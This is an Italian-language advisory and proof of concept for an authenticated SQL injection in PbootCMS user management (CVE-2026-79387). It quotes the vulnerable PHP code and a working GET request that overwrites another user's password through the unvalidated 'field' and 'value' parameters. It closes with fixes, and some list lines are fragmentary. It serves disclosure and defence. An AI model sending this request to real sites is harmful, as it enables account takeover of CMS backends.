
Proof-of-concept per CVE-2026-79387, una SQL injection autenticata nella gestione utenti di PbootCMS che consente aggiornamenti arbitrari dei campi e il takeover dell'account.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-79387 |
| Prodotto | PbootCMS |
| Versioni interessate | 3.2.0 – 3.2.5, e possibilmente precedenti |
| Tipo di vulnerabilità | SQL Injection (CWE-89) |
| Vettore di attacco | Remoto (Autenticato) |
| Gravità CVSS | Alta |
| Scopritore | JiahaoLi |
| Fornitore | https://www.pbootcms.com/ |
Nel modulo di gestione utenti di PbootCMS V3.2.5 è presente una vulnerabilità di SQL injection. La vulnerabilità risiede nel metodo mod() di /apps/admin/controller/system/UserController.php (riga 149) e nel metodo modUser() di /apps/admin/model/system/UserModel.php.
Il parametro field è completamente controllato dall'utente tramite una richiesta GET, senza alcuna validazione tramite whitelist. Il parametro value è parimenti controllato dall'utente e viene concatenato direttamente nell'istruzione SQL UPDATE. Un attaccante autenticato può specificare qualsiasi colonna del database come field (ad es. password, username, status, role), consentendo la manipolazione arbitraria dei dati.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field e $value sono presi direttamente dalla superglobale $_GET e concatenati in una stringa SQL senza alcuna sanitizzazione, senza whitelist e senza query parametrizzate. Questa stringa viene poi passata a UserModel::modUser(), che la inoltra al metodo base Model::update(). Poiché l'argomento è una stringa (non un array), aggira la validazione dei nomi di campo di checkKey() e viene incorporato verbatim nella clausola SET:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Un attaccante autenticato può:
ucode=10001).value consente l'escape con apice singolo, potenzialmente abilitando attacchi stacked o basati su tautologia.Ciò porta al furto dell'account e al controllo completo del backend del CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Accedi alla dashboard di amministrazione di PbootCMS e effettua il login con l'account predefinito admin.

Vai su System Management → User Management → Add User. Crea un nuovo utente:
admin2admin
L'elenco degli utenti conferma admin2 con ucode=10002:

Apri una nuova finestra del browser. Tenta di accedere come admin2 con la password 123456 — questo fallisce perché la password effettiva è admin:

Utilizzando il browser admin già autenticato, vai su:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291è l'hash MD5 di123456.
Il metodo mod() esegue l'injection e reindirizza tramite location(-1):

Ora prova ad accedere con admin2 / 123456:

La password è stata modificata con successo tramite SQL injection. L'utente è ora autenticato con la nuova password, confermando la completa compromissione dell'account.

Quando update() riceve un argomento stringa, questo viene utilizzato così com'è nella clausola SET senza alcun escaping:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — consentire solo nomi di colonna noti (status, username, realname, password).$value per prevenire la fuoriuscita dalle virgolette.field è password, applicare encrypt_string() al valore prima della memorizzazione.mod() dovrebbe richiedere un token CSRF valido e un controllo di autorizzazione a livello di ruolo.